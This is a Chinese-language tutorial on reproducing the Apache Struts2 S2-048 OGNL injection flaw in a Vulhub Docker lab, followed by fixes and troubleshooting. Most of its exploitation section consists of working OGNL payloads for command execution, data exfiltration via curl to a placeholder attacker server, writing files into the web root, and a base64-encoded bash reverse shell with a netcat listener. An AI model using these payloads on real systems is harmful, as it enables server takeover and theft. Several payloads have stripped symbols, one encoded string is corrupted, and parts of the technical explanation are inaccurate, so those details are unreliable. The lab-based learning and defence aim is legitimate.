Struts2-048漏洞复现:OGNL表达式注入与远程代码执行实战

Struts2-048漏洞复现:OGNL表达式注入与远程代码执行实战
1. 项目概述为什么Struts2-048值得你亲手复现一次如果你是一名Web安全研究员、渗透测试工程师或者正在学习漏洞挖掘的开发者那么“Struts2-048”这个漏洞编号对你来说一定不陌生。它不像“永恒之蓝”那样家喻户晓也不像Log4j那样席卷全球但在Apache Struts2这个曾经甚至现在广泛使用的Java Web框架漏洞史上S2-048绝对是一个极具代表性的“教学案例”。我之所以选择复现它不仅仅是为了在Vulhub这样的靶场上点一个“通关”的按钮更是因为它完美地展示了框架设计缺陷、不安全的默认配置以及开发者对用户输入盲目信任三者结合后会引发多么严重的远程代码执行RCE后果。通过亲手搭建环境、构造Payload、触发漏洞并最终拿到系统Shell你能对OGNL表达式注入、Java反序列化攻击链有一个直观且深刻的理解这种经验远比阅读十篇分析报告来得扎实。简单来说Struts2-048漏洞存在于Struts2的“Struts 1插件”和“Struts 1 Action”支持中。当应用使用了这些遗留组件来处理用户请求时攻击者可以通过精心构造的恶意OGNLObject-Graph Navigation Language表达式在服务端上下文环境中执行任意Java代码。这意味着攻击者可以完全控制服务器执行命令、读取文件、甚至植入后门。复现这个漏洞你将清晰地看到一行“无害”的请求参数是如何一步步被框架解析最终变成系统命令执行入口的。这对于构建你的主动防御思维和代码审计能力至关重要。2. 漏洞原理深度剖析OGNL表达式的“越权”之旅要理解S2-048我们必须先搞懂两个核心概念Struts2的“Struts 1插件”和OGNL表达式。Struts2为了兼容老旧的Struts1应用提供了一个名为“struts2-struts1-plugin”的插件。当你的应用引入这个插件并配置了相应的Action时框架就会启用一套兼容Struts1的请求处理流程。问题就出在这个流程中对用户输入的处理上。2.1 OGNL强大的表达式语言与危险的双刃剑OGNL是Struts2中用于绑定视图层JSP和数据模型Action的表达式语言功能非常强大。它不仅能访问对象的属性还能调用对象的方法、进行类型转换、甚至执行基本的算术和逻辑运算。在正常情况下OGNL表达式的执行被严格限制在“值栈”这个安全沙箱内只能操作应用公开的、预期的数据。然而Struts2历史上多个严重漏洞如S2-045、S2-046、S2-048等的根源都在于攻击者找到了方法将用户输入的恶意数据“注入”到了本应受控的OGNL解析流程中。在S2-048中这个注入点就是“Struts 1 Action”的actionForm属性。2.2 漏洞触发点不设防的actionForm属性当请求被Struts1插件处理时框架会尝试将HTTP请求参数绑定到对应的ActionForm对象上。在这个过程中有一个关键步骤框架会使用OGNL表达式来设置ActionForm对象的属性值。如果开发者像下面这样配置了一个Struts1 Actionaction path/vulnAction typeorg.apache.struts.action.Action namevulnForm ... /action当用户访问/vulnAction.do并提交参数时参数名会被直接当作OGNL表达式的一部分进行求值。例如攻击者提交这样一个请求POST /vulnAction.do HTTP/1.1 ... vulnForm.(#_memberAccess[\allowStaticMethodAccess\]true,#foonew java.lang.ProcessBuilder(\whoami\),#foo.start())test框架在解析时会试图将参数值test通过OGNL表达式vulnForm.(恶意代码)设置到vulnForm对象上。但关键在于括号()内的整个内容都会被当作OGNL表达式执行这就彻底绕过了所有的安全限制。核心原理总结S2-048的本质是在Struts1插件处理请求时对ActionForm属性名即请求参数名的解析没有进行有效的安全过滤和沙箱限制导致攻击者可以将任意OGNL表达式作为参数名的一部分传入并被服务器端执行。2.3 与同类漏洞的横向对比为了让你更清楚S2-048的定位这里简单对比一下Struts2家族的几个著名RCE漏洞漏洞编号影响版本触发点利用特点S2-048Struts 2.3.x (with Struts1 plugin)Struts1 Action的actionForm属性名利用参数名注入OGNL需应用配置了Struts1插件和Action。S2-045Struts 2.3.5 - 2.3.31, 2.5 - 2.5.10文件上传的Content-Type头基于Jakarta Multipart解析器通过恶意Content-Type触发影响面极广。S2-046同S2-045文件上传的文件名Content-Disposition是S2-045的变种利用点不同原理相似。S2-061Struts 2.0.0 - 2.5.25标签的属性值如%{...}对OGNL表达式二次评估的安全绕过常出现在数据回显的场景。可以看到S2-048的利用条件相对特殊需要Struts1插件但一旦满足条件利用方式直接且威力巨大。它提醒我们在引入任何“兼容性”或“插件”功能时必须对其安全性进行重新评估。3. 靶场环境搭建与配置详解理论分析之后我们进入实战环节。一个稳定、隔离的测试环境是安全研究的基石。这里我强烈推荐使用Docker和Vulhub来搭建漏洞复现环境它简单、干净并且可以一键还原。3.1 环境准备与工具清单在开始之前请确保你的操作机可以是物理机或虚拟机上已经安装好以下工具Docker Docker Compose这是运行Vulhub靶场的基础。去Docker官网下载对应你操作系统的稳定版本安装即可。Git用于拉取Vulhub项目代码。Burp Suite或Postman用于拦截、重放和构造HTTP请求。Burp Suite是专业首选Postman更轻量。一个Linux环境推荐虽然Docker在Windows和macOS上也能运行但后续的一些命令操作在Linux终端下更为顺畅。我使用的是Ubuntu 22.04。Java环境可选如果你想深入调试或编译自己的Payload本地需要安装JDK。实操心得环境隔离的重要性永远不要在联网的生产环境或个人开发机上直接复现漏洞。使用Docker容器可以将漏洞环境完全隔离即使容器被“攻破”也不会影响宿主机。复现完成后一个docker-compose down命令就能销毁所有痕迹安全又环保。3.2 使用Vulhub一键搭建S2-048环境Vulhub项目收集了大量预置的漏洞环境Docker配置是我们学习的神器。# 1. 克隆Vulhub项目到本地 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入Struts2漏洞目录下的S2-048子目录 cd struts2/s2-048 # 3. 使用Docker Compose启动漏洞环境 docker-compose up -d执行完上述命令后Docker会从网络拉取镜像并启动容器。你可以通过docker ps命令查看容器是否正常运行。如果一切顺利你会看到一个名为vulhub-struts2-s2-048的容器正在运行并将宿主机的8080端口映射到了容器的8080端口。此时在浏览器中访问http://your_host_ip:8080/你应该能看到一个简单的Struts2集成Struts1插件的演示页面。页面上通常会有一个表单这就是我们的攻击入口。3.3 环境结构初探与漏洞点定位启动环境后我们可以稍微深入一下看看容器里有什么。这有助于理解漏洞应用的构成。# 进入正在运行的容器内部将CONTAINER_ID替换为你的实际容器ID docker exec -it CONTAINER_ID /bin/bash # 查看Web应用的部署目录通常是/usr/local/tomcat/webapps/ROOT ls -la /usr/local/tomcat/webapps/ROOT/WEB-INF/在这个目录下你可能会找到web.xml、struts-config.xml等配置文件。对于S2-048关键就在于struts-config.xml中是否定义了使用Struts1 Action的配置。Vulhub的镜像已经为我们配置好了存在漏洞的Action例如一个路径为/integration/saveGangster的Action。了解这些不是为了让我们去修改代码而是为了建立“攻击面”的认知。我们知道漏洞触发需要一个特定的URL路径Struts1 Action的路径这将在我们构造攻击时起到关键作用。4. 漏洞利用实战从Payload构造到获取Shell环境就绪靶标已立。现在让我们扮演攻击者一步步实现远程代码执行。4.1 信息收集找到攻击入口首先我们需要确认漏洞存在的迹象。访问靶场首页查看页面源代码或表单的提交地址。在Vulhub的S2-048环境中通常会有一个表单其action属性指向类似/integration/saveGangster.action或/xxx.do的地址。这个.action或.do后缀就是Struts1/Struts2请求的典型特征。更直接的方法是查看Vulhub项目s2-048目录下的README.md或相关源码里面通常会直接给出漏洞的触发URL。假设我们确定的漏洞URL是http://192.168.1.100:8080/integration/saveGangster.action4.2 构造核心OGNL Payload这是最关键的一步。我们需要构造一个能执行命令的OGNL表达式并将其嵌入到请求参数名中。一个经典的Payload结构如下(paramName).(恶意OGNL表达式)任意值对于S2-048paramName需要对应目标Action所期望的ActionForm属性名。如果无法确定可以尝试使用通用属性名或者利用Burp Suite的Intruder模块进行模糊测试。在已知的漏洞利用中常用的属性名如name、age等可能有效。一个用于执行id命令的Payload示例如下(name).(#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.ProcessBuilder(new java.lang.String[]{id}),#foo.start())testPayload逐段解析(name).(...)test表示我们要设置name属性的值为test但括号内的OGNL表达式会先被执行。#_memberAccess[allowStaticMethodAccess]true这是一个关键的“开锁”步骤。在Struts2的安全机制中默认禁止通过OGNL调用静态方法。这行代码动态修改了安全配置允许静态方法访问。#foonew java.lang.ProcessBuilder(new java.lang.String[]{id})创建一个ProcessBuilder对象用于执行系统命令。这里将要执行的命令是id。使用String数组是为了避免命令参数中的空格等问题。#foo.start()启动进程执行命令。4.3 使用Burp Suite发起攻击图形化工具比CURL命令更直观也便于调试。配置代理打开Burp Suite确保Proxy拦截功能开启并将浏览器代理设置为Burp如127.0.0.1:8080。拦截请求在浏览器中向漏洞URLhttp://192.168.1.100:8080/integration/saveGangster.action提交一个正常的表单如果有的话或者直接访问该URL。Burp会拦截到这个GET或POST请求。修改请求将拦截到的请求发送到Burp的Repeater模块右键菜单选择Send to Repeater。在Repeater中我们将请求修改为POST方式如果原本是GET并修改请求体。注入Payload在请求体部分将内容类型设置为application/x-www-form-urlencoded然后填入我们的恶意参数。例如POST /integration/saveGangster.action HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 你的Payload长度 (name).(#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.ProcessBuilder(new java.lang.String[]{id}),#foo.start())test发送请求并观察响应点击“Send”按钮。如果漏洞存在且Payload正确服务器会执行id命令但命令的输出通常不会直接返回在HTTP响应中。这是因为ProcessBuilder.start()是异步执行的输出流到了别处。4.4 进阶利用反弹Shell与输出捕获直接执行命令却看不到结果这显然不能满足我们的需求。在实战中我们需要将命令执行的结果回传。有两种常见思路方法一通过DNS或HTTP请求外带数据执行一个能触发网络访问的命令将结果作为域名或URL的一部分发送到我们控制的服务器。(name).(#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.ProcessBuilder(new java.lang.String[]{/bin/sh,-c,curl http://your-server.com/whoami}),#foo.start())test这个Payload会执行whoami命令并将结果拼接到向your-server.com发起的HTTP请求URL中你只需要在你的服务器上查看访问日志即可看到结果。方法二写入Web目录再访问如果知道Web应用的绝对路径可以将命令结果写入一个Web可访问的文件。(name).(#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.ProcessBuilder(new java.lang.String[]{/bin/sh,-c,whoami /usr/local/tomcat/webapps/ROOT/result.txt}),#foo.start())test执行后访问http://192.168.1.100:8080/result.txt就能看到whoami的输出。方法三使用编码Payload反弹Shell最有效这是最经典的方式直接获取一个交互式Shell。我们需要提前在公网服务器上监听一个端口。在攻击机上用Netcat监听nc -lvnp 4444构造一个能反弹Shell的命令。由于OGNL表达式和URL中特殊字符很多通常需要将命令进行Base64编码。# 要执行的命令/bin/bash -i /dev/tcp/your_server_ip/4444 01 # 先进行Base64编码 echo -n /bin/bash -i /dev/tcp/your_server_ip/4444 01 | base64 # 假设得到编码后字符串L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3lvdXJfc2VydmVyX2lwLzQ0NDQgMD4mMQo构造OGNL Payload解码并执行(name).(#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.ProcessBuilder(new java.lang.String[]{/bin/sh,-c,echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3lvdXJfc2VydmVyX2lwLzQ0NDQgMD4mMQo | base64 -d | bash}),#foo.start())test发送Payload如果成功你的Netcat监听端就会收到一个来自目标服务器的Shell连接。注意事项Payload编码与转义OGNL表达式和HTTP协议本身有很多特殊字符如#,(,),,,,空格等。在Burp的Repeater中直接粘贴复杂Payload可能会被错误解析。稳妥的做法是在Burp中先输入一个简单的Payload测试通路。对于复杂Payload使用Burp的CtrlUURL编码整个Payload或CtrlShiftUURL解码功能进行处理。通常我们需要将整个参数名即包含OGNL表达式的部分进行URL编码后再发送。在Java字符串中双引号需要转义为\如new java.lang.String[]{\id\}。5. 漏洞修复方案与安全开发启示成功复现漏洞并拿到Shell证明了漏洞的危险性。但作为安全从业者我们的最终目标是帮助修复和预防。针对S2-048修复方案是明确且直接的。5.1 官方修复方案Apache Struts官方在发现该漏洞后迅速发布了新版本和安全公告。根本的修复方法是升级Struts2框架版本。对于Struts 2.3.x系列应升级至Struts 2.3.32或更高版本。对于Struts 2.5.x系列应升级至Struts 2.5.10.1或更高版本。新版本在struts2-struts1-plugin插件中加强了对传入的ActionForm属性名的过滤和验证禁止了其中包含的OGNL表达式执行。5.2 临时缓解措施如果因为兼容性等原因无法立即升级可以考虑以下临时方案移除或禁用Struts1插件检查你的应用是否真的需要使用struts2-struts1-plugin.jar。如果只是历史遗留代码但已无实际用途果断移除该JAR包是最彻底的方法。严格过滤输入在全局过滤器或拦截器中对请求参数名进行严格的检查过滤掉包含括号()、井号#、反斜杠\等OGNL表达式关键字符的请求。但这是一种黑名单机制可能存在绕过风险。使用Web应用防火墙WAF部署WAF规则拦截含有典型OGNL注入特征的请求。例如可以定义规则来阻断参数名中包含#_memberAccess、new java.lang.ProcessBuilder等关键字的请求。5.3 对开发者的安全启示S2-048给所有Java Web开发者上了一堂深刻的安全课谨慎使用兼容性与插件框架的兼容性功能在带来便利的同时也可能引入未知的安全风险。在引入插件时必须充分了解其安全记录和配置要求。最小权限原则Struts2的OGNL沙箱本意是好的但动态关闭安全开关如allowStaticMethodAccess的设计是危险的。在框架设计和应用配置中应始终坚持最小权限原则非必要不开放高权限功能。持续关注安全更新像Struts2、Log4j2这样的基础组件一旦曝出漏洞影响巨大。建立依赖库清单定期使用SCA软件成分分析工具扫描并及时应用安全补丁应成为开发流程的强制环节。输入验证与输出编码这虽然是老生常谈但永远是防御注入攻击的第一道防线。对所有用户输入进行严格的、基于白名单的验证并在输出时进行正确的编码。6. 复现过程中的常见问题与排查实录即使按照步骤操作你也可能会遇到一些问题。这里我记录了几个复现S2-048时最常见的“坑”及其解决方法。6.1 问题一发送Payload后无任何反应返回500错误或空白页可能原因1Payload语法错误或转义问题。OGNL表达式非常“娇气”少一个括号、多一个引号或者特殊字符未正确转义都会导致解析失败服务器抛出异常后返回500错误。排查方法首先使用一个最简单的Payload测试例如只执行一个无害的静态方法调用验证漏洞通道是否畅通。(name).(#_memberAccess[allowStaticMethodAccess]true,java.lang.RuntimegetRuntime().exec(touch /tmp/test123))test如果这个能成功可以登录容器查看/tmp/test123文件是否创建说明基础利用是通的问题出在复杂Payload的构造上。仔细检查命令字符串的引号、转义和编码。可能原因2目标属性名不对。(name).这里的name需要是目标ActionForm实际存在的属性。如果属性不存在OGNL表达式可能不会被执行。排查方法尝试使用更通用的属性名如username,id,age等。或者如果条件允许查看应用源码或配置文件确定正确的属性名。也可以使用Burp Intruder用一个简单的Payload如执行touch /tmp/test配合常见属性名字典进行模糊测试。6.2 问题二命令执行了但看不到输出或无法反弹Shell可能原因1ProcessBuilder.start()是异步的。正如前面提到的这个方法启动进程后立即返回标准输出和错误输出与我们发起的HTTP请求流无关。解决方法采用“外带数据”或“写入文件”的方式获取输出如前文所述。可能原因2容器内没有/bin/bash或命令路径不对。Docker基础镜像可能非常精简只包含/bin/sh。解决方法将Payload中的/bin/bash改为/bin/sh。使用which命令探测容器内可用的工具(name).(#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.ProcessBuilder(new java.lang.String[]{which,curl}),#foo.start())test然后利用找到的工具。可能原因3网络限制。容器可能无法访问外网导致DNS或HTTP外带数据失败反弹Shell也连不出来。解决方法尝试写入Web目录的方案。或者在启动Vulhub环境时确保Docker容器的网络模式允许对外访问默认的桥接模式通常可以。6.3 问题三升级到“安全版本”后Payload依然能执行可能原因依赖的JAR包没有真正更新。Maven或Gradle项目可能存在依赖缓存或者服务器上部署的War包仍是旧版本。排查方法检查项目pom.xml或build.gradle中Struts2的版本号是否已修改。执行mvn dependency:tree | grep struts或gradle dependencies | grep struts查看实际解析的依赖版本。检查最终部署的WAR包中WEB-INF/lib/目录下的struts2-core-xxx.jar和struts2-struts1-plugin-xxx.jar的文件版本号。彻底清理构建缓存mvn clean并重新打包部署。6.4 问题四使用反弹Shell Payload时Netcat监听端无连接可能原因1IP地址或端口错误。确保Payload中填写的your_server_ip和端口与Netcat监听的一致且该端口未被防火墙屏蔽。可能原因2编码或命令拼接错误。Base64编码解码过程容易出错特别是包含重定向符号时。建议先在本地Linux机器上测试编码后的命令是否能正确执行。# 本地测试命令 echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS80NDQ0IDAJjEK | base64 -d | bash执行前先在另一个终端用nc -lvnp 4444监听看看本地测试能否成功反弹。如果本地都不行说明命令或编码有问题。可能原因3目标系统禁止出站连接。企业的服务器可能设有严格的出站规则。解决方法尝试其他获取结果的方式如写入Web目录。复现漏洞的过程本质上是一个不断调试和解决问题的过程。每一个错误信息、每一个异常状态都是线索。保持耐心结合原理分析利用Burp Suite的Repeater和Intruder模块进行反复测试和模糊探测你总能找到突破口。这份在“攻防实验室”里磨练出的排查能力在未来进行真实渗透测试或代码审计时将是你最宝贵的财富。